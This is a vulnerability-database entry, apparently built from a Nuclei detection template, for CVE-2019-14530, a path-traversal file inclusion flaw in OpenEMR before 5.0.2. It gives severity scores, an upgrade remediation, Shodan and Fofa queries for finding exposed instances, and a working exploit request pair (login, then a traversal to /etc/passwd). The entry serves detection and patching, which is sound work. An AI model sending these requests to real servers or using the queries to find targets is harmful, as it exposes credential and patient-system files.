🔙 목록으로 돌아가기

CVE-2019-14530: OpenEMR <5.0.2 - Local File Inclusion

TitleOpenEMR <5.0.2 - Local File Inclusion
AuthorTenBird
SeverityHigh
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
RemediationUpgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
CVSS Score8.8
EPSS Score0.78542
CVE IDCVE-2019-14530
CWE IDCWE-22
Shodan Queryhttp.html:"openemr"http.title:"openemr"http.favicon.hash:1971268439
Fofa Queryicon_hash=1971268439body="openemr"title="openemr"app="openemr"
Tags cve2019 cve lfi authenticated edb openemr open-emr vuln

🔍 Vulnerability Description

OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.

🌐 HTTP Request

POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/617.29 (KHTML, like Gecko) Version/17.7 Safari/617.29
Connection: close
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

new_login_session_management=1&authProvider=Default&authUser=OwSx35&clearPass=tDIAQE&languageChoice=1
GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14530.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-14530.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A